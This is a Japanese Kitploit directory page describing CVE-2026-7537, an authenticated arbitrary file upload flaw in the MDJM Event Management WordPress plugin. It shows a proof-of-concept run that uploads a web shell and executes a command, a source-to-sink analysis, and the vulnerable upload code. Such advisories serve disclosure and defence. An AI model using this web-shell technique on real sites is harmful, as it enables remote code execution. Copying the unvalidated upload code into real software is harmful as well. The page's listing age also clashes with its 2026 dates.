Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-7537 — MDJM Event Management <= 1.7.8.3 - 認証済み(管理者+)'mdjm_email_upload_file' パラメータ経由の任意のファイルアップロード | Kitploit
ツール/GitHubGitHub/d0n601/cve-2026-7537
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubd0n601/cve-2026-7537

CVE-2026-7537

MDJM Event Management <= 1.7.8.3 - 認証済み(管理者+)'mdjm_email_upload_file' パラメータ経由の任意のファイルアップロード

リポジトリを見る
34ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

MDJM Event Management <= 1.7.8.3 - 認証済み(管理者+)任意ファイルアップロード('mdjm_email_upload_file' パラメータ経由)

WordPress の MDJM Event Management プラグイン(バージョン 1.7.8.3 以前)には、認証済み管理者が悪意のある PHP ファイルをサーバーにアップロードできる任意ファイルアップロードの脆弱性が存在し、リモートコード実行につながる可能性があります。

TL;DR エクスプロイト

認証済み攻撃者が shell.php をアップロードしてリモートコードを実行することを示す POC CVE-2026-7537.py を用意しています:

root@kitploit:~
python3 ./CVE-2026-7537.py http://target-site.com admin password123
[+] Logging into: http://target-site.com/wp-admin
[+] Extracting nonce values...
[+] Uploading web shell: shell.php
[+] Web Shell Location: http://target-site.com/wp-content/uploads/2026/02/shell.php
[+]
[+] Executing test command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

技術的説明

この脆弱性は、コミュニケーション機能の mdjm_send_comm_email() 関数に存在します。アップロード機能は、メールコミュニケーションのファイル添付を処理する際に適切なファイル検証が行われていません。これにより、mdjm_comms_send 権限を持つ認証済みユーザー(デフォルトでは管理者と MDJM アドミン)が、サーバー上で実行可能な PHP ファイルを含む任意のファイルをアップロードできるようになります。

攻撃経路の分析

ソース: $_FILES['mdjm_email_upload_file'] からのユーザー入力 シンク: comms-functions.php#L248 の move_uploaded_file($tmp_path, $file_path)

この脆弱性は次の理由で発生します:

  1. ルート登録: コミュニケーションフォームは、comms-functions.php#L24 を介して send_comms 権限を持つユーザーがアクセスできます。
  2. 権限チェック: mdjm_comms_send 権限は、class-mdjm-permissions.php#L626 を介して manage_mdjm 許可を持つユーザーに付与されます。
  3. デフォルトのロール権限: DJ ロール(class-mdjm-roles.php#L97-L104)にはデフォルトで mdjm_comms_send がありません - 管理者のみが持っています。
  4. アクション処理: フォーム送信は、admin-actions.php#L26 の mdjm_process_actions() 関数を介して処理されます。
  5. ハンドラ呼び出し: このアクションは、comms-functions.php#L300 に登録された mdjm_send_comm_email() 関数をトリガーします。
  6. Nonce 検証: comms-functions.php#L235 の nonce 検証による CSRF 保護は存在しますが、ファイル検証は後続しません。
  7. 入力処理: $_FILES['mdjm_email_upload_file'] からのユーザー制御のファイルデータは、comms-functions.php#L241-L251 で検証なしに直接処理されます。
  8. ファイル処理: ファイル名はユーザー入力から直接取得され、サニタイズや拡張子の検証は行われません。
  9. ファイル保存: ファイルは、セキュリティチェックなしで move_uploaded_file() を使用して WordPress のアップロードディレクトリ(/wp-content/uploads/YYYY/MM/)に保存されます。

脆弱なコードの場所

ファイル: includes/admin/communications/comms-functions.php#L241-L251

root@kitploit:~
if ( isset( $_FILES['mdjm_email_upload_file'] ) && '' !== $_FILES['mdjm_email_upload_file']['name'] ) {
    $upload_dir = wp_upload_dir();

    $file_name = $_FILES['mdjm_email_upload_file']['name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated
    $file_path = $upload_dir['path'] . '/' . $file_name;
    $tmp_path  = $_FILES['mdjm_email_upload_file']['tmp_name']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated

    if ( move_uploaded_file( $tmp_path, $file_path ) ) {
        $attachments[] = $file_path;
    }
}
ツールをダウンロード